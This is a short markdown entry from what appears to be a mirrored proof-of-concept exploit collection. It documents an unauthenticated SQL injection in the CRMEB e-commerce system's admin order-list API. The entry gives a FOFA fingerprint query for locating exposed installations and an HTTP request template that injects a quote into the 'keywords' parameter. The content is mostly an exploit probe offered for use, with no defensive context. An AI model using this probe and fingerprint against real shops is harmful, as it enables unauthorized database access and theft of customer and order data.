admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-11-05 02:15:30 +00:00
Code Issues Packages Projects Releases Wiki Activity
POC/wpoc/CRMEB/CRMEB开源电商系统orderlist存在SQL注入漏洞.md

322 B
Raw Blame History

CRMEB开源电商系统orderlist存在SQL注入漏洞

CRMEB开源电商系统存在未授权sql注入漏洞

fofa

body="/wap/first/zsff/iconfont/iconfont.css" || body="CRMEB"

poc

P0ST /api/admin/system/store/order/list?keywords=1' HTTP/1.1
Host:
Content-Type:application/x-www-form-urlencoded